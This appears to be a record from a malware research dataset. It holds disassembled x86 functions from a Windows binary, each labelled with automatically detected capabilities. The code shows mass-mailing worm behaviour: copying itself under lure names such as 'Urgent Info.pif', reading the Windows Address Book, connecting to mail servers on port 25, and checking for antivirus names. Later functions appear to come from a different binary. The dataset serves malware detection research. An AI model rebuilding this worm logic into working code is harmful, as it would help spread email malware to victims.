joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018e0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x108
lea eax, [esp + 4]
push ebx
push esi
push edi
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, str._frun.txt
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x42c0dc
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004096d6
add esp, 8
test eax, eax
jne 0x401950
push 0x10
push str.Error
push str.Windows_encountered_an_error_reading_the_file
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0x80
push 2
push 0
push 0
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
mov edi, str.Heres_Johnny_:_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 0xc]
push 0
dec ecx
push edx
push ecx
push str.Heres_Johnny_:_
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0x108
ret
Function at 0x4019b0
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x334
lea eax, [esp + 0x64]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push edi
push 0x64
push eax
call esi
lea ecx, [esp + 0xd4]
push 0x64
push ecx
call esi
lea edx, [esp + 0xc]
push 0x64
push edx
call esi
or ecx, 0xffffffff
mov edi, str._bloodred.exe
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._base64zip.sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._base64exe.sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x13c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea ecx, [esp + 0x23c]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [esp + 0x70]
push 0
lea eax, [esp + 0x240]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov edi, str._bloodred.zip
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x138]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.Urgent_Info.pif
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x13c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x244]
push ecx
call fcn.00409190
lea edx, [esp + 0xe0]
lea eax, [esp + 0x144]
push edx
push eax
call fcn.00401250
lea ecx, [esp + 0x20]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.00401250
add esp, 0x1c
pop edi
pop esi
pop ebx
add esp, 0x334
ret

Function at 0x401ba0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
call fcn.00403c40
test eax, eax
je 0x401bb1
call fcn.00404c40
push esi
call fcn.00401b30
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
je 0x401bd5
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x405660
push 0
push 0
call esi
call fcn.00406af0
call fcn.00401b30
test eax, eax
je 0x401bf7
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x405a60
push 0
push 0
call esi
call fcn.004019b0
call fcn.004018b0
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0x401b80
push 0
push 0
call esi
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x4011e0
push 0
push 0
call esi
call fcn.004018e0
call fcn.00401590
call fcn.00401790
call fcn.004016f0
call fcn.00406ae0
pop esi
add esp, 0x10
ret
Function at 0x401c50
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call sub.WS2_32.dll_WSAStartup
call fcn.00401ba0
xor eax, eax
add esp, 0x190
ret 0x10

Function at 0x403bf0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x400
push esi
push 0x400
call fcn.0040a448
add esp, 4
mov esi, eax
lea eax, [esp + 4]
push eax
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov ecx, dword [str.infect]
push esi
push 0x4d2
lea edx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
mov eax, esi
pop esi
add esp, 0x400
ret
Function at 0x4059b0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1a0
lea eax, [esp + 0x10]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
push str.www.kazaa.com
mov dword [esp + 4], ecx
mov word [esp + 4], 2
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
call fcn.00407d20
add esp, 4
mov dword [esp + 4], eax
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp]
mov word [esp + 2], ax
push edx
call fcn.00405a10
xor eax, eax
add esp, 0x1a4
ret

Function at 0x405a10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebx
push esi
push edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_send]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0x3e8
push str.GET___HTTP_1.1_r_n_Host:_www.kazaa.com_r_n
push ebx
call esi
push 0x140
call edi
jmp 0x405a3b

Function at 0x405a80
Capabilities:
Create thread

Disassembly:
mov eax, dword [str._symantec]
push esi
push edi
mov edi, dword [esp + 0xc]
test eax, eax
je 0x405ab2
mov eax, 0x42c7b0
mov esi, eax
mov eax, dword [eax]
push eax
push edi
call fcn.0040a4c0
add esp, 8
test eax, eax
jne 0x405adb
mov ecx, dword [esi + 4]
add esi, 4
test ecx, ecx
mov eax, esi
jne 0x405a96
push 0x42c86c
push edi
call fcn.0040a4c0
add esp, 8
test eax, eax
je 0x405adb
lea ecx, [esp + 0xc]
push ecx
push 0
push edi
push 0x407f20
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop edi
pop esi
ret
Function at 0x405cb0
Capabilities:
Query or enumerate registry value
Read file via mapping

Disassembly:
sub esp, 0x23c
push ebx
push esi
lea eax, [esp + 8]
push edi
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWABWAB4Wab_File_Name
push reloc.WS2_32.dll_accept
mov dword [esp + 0x28], 0x320
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x144]
push ecx
push edx
push 0
push 0
push 0x430674
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x80
push 4
push 0
push 1
lea edx, [esp + 0x158]
push connect
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov dword [esp + 0x28], edi
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x405d59
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x405d86
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
xor edx, edx
xor eax, eax
mov dh, byte [esi + 0x63]
mov ah, byte [esi + 0x61]
mov dl, byte [esi + 0x62]
and eax, 0xffff
movsx ecx, byte [esi + 0x64]
shl edx, 0x10
or edx, eax
xor eax, eax
mov al, byte [esi + 0x60]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle 0x405df5
lea ecx, [eax + 0x43]
mov eax, 0xf0f0f0f1
lea edi, [edx + esi]
mul ecx
push ebp
mov ebp, edx
shr ebp, 6
xor eax, eax
mov ecx, edi
mov dl, byte [ecx]
add ecx, 2
mov byte [esp + eax + 0x1c], dl
inc eax
cmp eax, 0x44
jle 0x405dcd
lea eax, [esp + 0x1c]
mov byte [esp + 0x60], 0
push eax
call fcn.00405a80
add esp, 4
add edi, 0x44
dec ebp
jne 0x405dc9
pop ebp
mov ecx, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push ebx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
Function at 0x406ae0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov edi, 0x42cc34
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov bl, byte [esp + 0xc]
lea edx, [esp + 0xd]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, 0x43
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov byte [esp + 0xc], al
cmp al, bl
je 0x406abb
lea ecx, [esp + 0xc]
push ecx
call edi
cmp eax, 3
je 0x406aa5
cmp eax, 6
jne 0x406abb
push 0xbb8
call esi
lea edx, [esp + 0xc]
push 0xf
push edx
call fcn.00406810
add esp, 8
mov al, byte [esp + 0xc]
inc al
cmp al, 0x59
mov byte [esp + 0xc], al
jl 0x406a90
pop edi
pop esi
pop ebx
add esp, 0x104
ret
call fcn.00405cb0
jmp 0x406a40
Function at 0x407c30
Capabilities:
Connect socket

Disassembly:
sub esp, 0x20
mov ecx, dword [0x42e0ec]
mov eax, dword [str.dnsapi.dll]
mov dx, word [0x42e0f0]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov al, byte [0x42e0f2]
lea ecx, [esp + 4]
push esi
push ecx
mov word [esp + 0x14], dx
mov byte [esp + 0x16], al
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
jne 0x407c7e
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x407d0d
push str.DnsQuery_A
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x407d0d
mov edx, dword [esp + 0x28]
lea ecx, [esp + 4]
push 0
push ecx
push 0
push 0
push 0xf
push edx
call eax
test eax, eax
jne 0x407d0d
mov esi, dword [esp + 4]
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x43067c], eax
je 0x407d0d
mov eax, dword [esi + 0x18]
push eax
call fcn.00407d20
add esp, 4
mov dword [esp + 0x18], eax
mov word [esp + 0x14], 2
push 0x19
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x43067c]
lea ecx, [esp + 0x14]
push 0x10
push ecx
push edx
mov word [esp + 0x22], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x407d0d
call fcn.00408850
mov eax, dword [esp + 0x2c]
push eax
call fcn.00408a80
add esp, 4
xor eax, eax
pop esi
add esp, 0x20
ret

Function at 0x407d20
Capabilities:
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x407d3d
test esi, esi
jne 0x407d4f
cmp byte [edi], 0x30
je 0x407d59
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x407d4f
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov esi, dword [ecx]
cmp esi, 0xffffffff
jne 0x407d59
pop edi
xor eax, eax
pop esi
ret
mov eax, esi
pop edi
pop esi
ret
Function at 0x407d60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get networking parameters

Disassembly:
sub esp, 0x1c
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push 0x248
push 0x40
call edi
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x248
call sub.iphlpapi.dll_GetNetworkParams
cmp eax, 0x6f
jne 0x407da0
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov ecx, dword [esp + 8]
push ecx
push 0x40
call edi
mov esi, eax
lea edx, [esp + 8]
push edx
push esi
call sub.iphlpapi.dll_GetNetworkParams
add esi, 0x110
push esi
call fcn.00407d20
push 0x42e0f4
mov esi, eax
call fcn.0040a889
mov eax, dword [esp + 0x30]
push 0xbb8
push esi
push eax
call fcn.00408450
add esp, 0x14
mov dword [esp + 0xc], eax
test eax, eax
pop edi
mov dword [esp + 0xc], edx
pop esi
jne 0x407ded
mov eax, 1
add esp, 0x1c
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x43067c], eax
je 0x407e61
mov ecx, dword [esp + 8]
add ecx, 0x10e
push ecx
call fcn.00407d20
add esp, 4
mov dword [esp + 0x10], eax
mov word [esp + 0xc], 2
push 0x19
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xe], ax
mov eax, dword [0x43067c]
lea edx, [esp + 0xc]
push 0x10
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x407e61
call fcn.00408850
mov ecx, dword [esp + 0x24]
push ecx
call fcn.00408a80
lea edx, [esp + 8]
push edx
call fcn.004087d0
add esp, 8
xor eax, eax
add esp, 0x1c
ret

Function at 0x4083e0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4083f7
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
ret
xor eax, eax
ret
Function at 0x408810
Capabilities:
Send data
Send data on socket

Disassembly:
push edi
mov edi, 0x431d50
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [0x43067c]
push 0
not ecx
dec ecx
push ecx
push 0x431d50
push eax
call dword [sym.imp.WS2_32.dll_send]
push eax
call fcn.004087f0
add esp, 4
test eax, eax
pop edi
jne 0x40884c
mov dword [0x431e50], 1
ret

Function at 0x408850
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [0x43067c]
push 0
push 0x1000
push 0x43079c
push eax
call dword [sym.imp.WS2_32.dll_recv]
push eax
call fcn.004087f0
add esp, 4
mov ecx, 2
test eax, eax
jne 0x408880
mov dword [0x431e50], ecx
mov al, byte [0x43079c]
cmp al, 0x34
je 0x40888d
cmp al, 0x35
jne 0x408893
mov dword [0x431e50], ecx
ret
Function at 0x409020
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub esp, 0x400
xor ecx, ecx
lea edx, [esp]
push esi
mov eax, ecx
mov esi, 8
test al, 1
je 0x409041
shr eax, 1
xor eax, 0xedb88320
jmp 0x409043
shr eax, 1
dec esi
jne 0x409034
mov dword [edx], eax
inc ecx
add edx, 4
cmp ecx, 0x100
jl 0x40902d
mov ecx, dword [esp + 0x40c]
test ecx, ecx
jne 0x409069
xor eax, eax
pop esi
add esp, 0x400
ret
mov eax, dword [esp + 0x408]
push ebx
push edi
mov edi, dword [esp + 0x418]
cmp edi, 8
not eax
jl 0x40915c
mov esi, edi
shr esi, 3
mov edx, esi
neg edx
lea edi, [edi + edx*8]
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [esp + edx*4 + 0xc]
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [esp + edx*4 + 0xc]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [esp + eax*4 + 0xc]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [esp + edx*4 + 0xc]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [esp + eax*4 + 0xc]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [esp + edx*4 + 0xc]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [esp + eax*4 + 0xc]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [esp + edx*4 + 0xc]
xor eax, edx
inc ecx
dec esi
jne 0x409090
test edi, edi
je 0x40917b
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [esp + edx*4 + 0xc]
xor eax, edx
inc ecx
dec edi
jne 0x409160
pop edi
pop ebx
not eax
pop esi
add esp, 0x400
ret
Function at 0x409480
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x10
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ax, word [esp]
cmp ax, 0x7cf
jb 0x40949f
cmp ax, 0x7da
jbe 0x4094a6
mov word [esp], 0x7d4
mov ax, word [esp + 2]
cmp ax, 1
jb 0x4094b7
cmp ax, 0xc
jbe 0x4094be
mov word [esp + 2], 1
mov ax, word [esp + 6]
cmp ax, 1
jb 0x4094cf
cmp ax, 0x1f
jbe 0x4094d6
mov word [esp + 6], 0xa
mov ecx, dword [esp]
mov edx, dword [esp + 2]
mov eax, dword [esp + 6]
add ecx, 0x44
shl ecx, 9
shl edx, 5
or ecx, edx
mov dx, word [esp + 0xc]
or ecx, eax
mov eax, dword [esp + 0x18]
shr dx, 1
mov word [eax], cx
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xa]
shl ecx, 6
or ecx, eax
mov eax, dword [esp + 0x14]
shl ecx, 5
or ecx, edx
mov word [eax], cx
add esp, 0x10
ret

Function at 0x409520
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x404
push ebx
push esi
push edi
mov edi, dword [esp + 0x414]
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
lea ecx, [esp + 0x18]
push 0x400
push ecx
push edi
mov dword [esp + 0x20], esi
call ebx
test eax, eax
je 0x409599
mov eax, dword [esp + 0xc]
test eax, eax
je 0x409599
lea edx, [esp + 0x10]
push eax
push edx
push esi
call fcn.00409020
add esp, 0xc
mov esi, eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push 0
push eax
push 0x400
push ecx
push edi
mov dword [esp + 0x20], 0
call ebx
test eax, eax
jne 0x409560
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x404
ret

Function at 0x40d6ec
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426360
push 0x40f00c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
mov eax, dword [0x4320dc]
test eax, eax
je 0x40d734
mov dword [ebp - 4], 1
call eax
jmp 0x40d730
and dword [ebp - 4], 0
or dword [ebp - 4], 0xffffffff
call 0x40d73d
jmp 0x40faae
push 0xa
call fcn.0040f11d
push 0x16
call fcn.0041068d
pop ecx
pop ecx
push 3
call fcn.0040c21c

Function at 0x40d742
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426378
push 0x40f00c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
mov eax, dword [fcn.0040d6ec]
test eax, eax
je 0x40d78a
mov dword [ebp - 4], 1
call eax
jmp 0x40d786
and dword [ebp - 4], 0
or dword [ebp - 4], 0xffffffff
call 0x40d793
jmp fcn.0040d6ec
Function at 0x40f11d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42e978
cmp edx, dword [eax]
je 0x40f13f
add eax, 8
inc ecx
cmp eax, 0x42ea08
jl 0x40f130
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42e978]
jne 0x40f26d
mov eax, dword [0x432070]
cmp eax, 1
je 0x40f247
test eax, eax
jne 0x40f170
cmp dword [0x42e414], 1
je 0x40f247
cmp edx, 0xfc
je 0x40f26d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x40f1a7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040e280
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040e370
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40f1ea
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040e370
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x426680
push edi
call fcn.00410440
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040e280
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040e290
lea eax, [ebp - 0xa0]
push 0x426660
push eax
call fcn.0040e290
push dword [esi + 0x42e97c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040e290
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004103ac
add esp, 0x2c
pop edi
jmp 0x40f26d
lea eax, [ebp + 8]
lea esi, [esi + 0x42e97c]
push 0
push eax
push dword [esi]
call fcn.0040e370
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret
Function at 0x40326c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x42500c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403304
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4032e4
xor eax, eax
push ebp
push 0x4032dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403320
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4032e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x42500c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x42500c], ax
mov esp, ebp
pop ebp
ret

Function at 0x403fd4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x426044], 0
je 0x404035
cmp word [0x426218], 0xd7b2
jne 0x403ffd
cmp dword [0x426220], 0
jbe 0x403ffd
mov eax, 0x426214
call dword [0x426230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x425054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40405c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x42501c], 0
jne 0x404051
push 0
push 0x425074
push 0x425054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret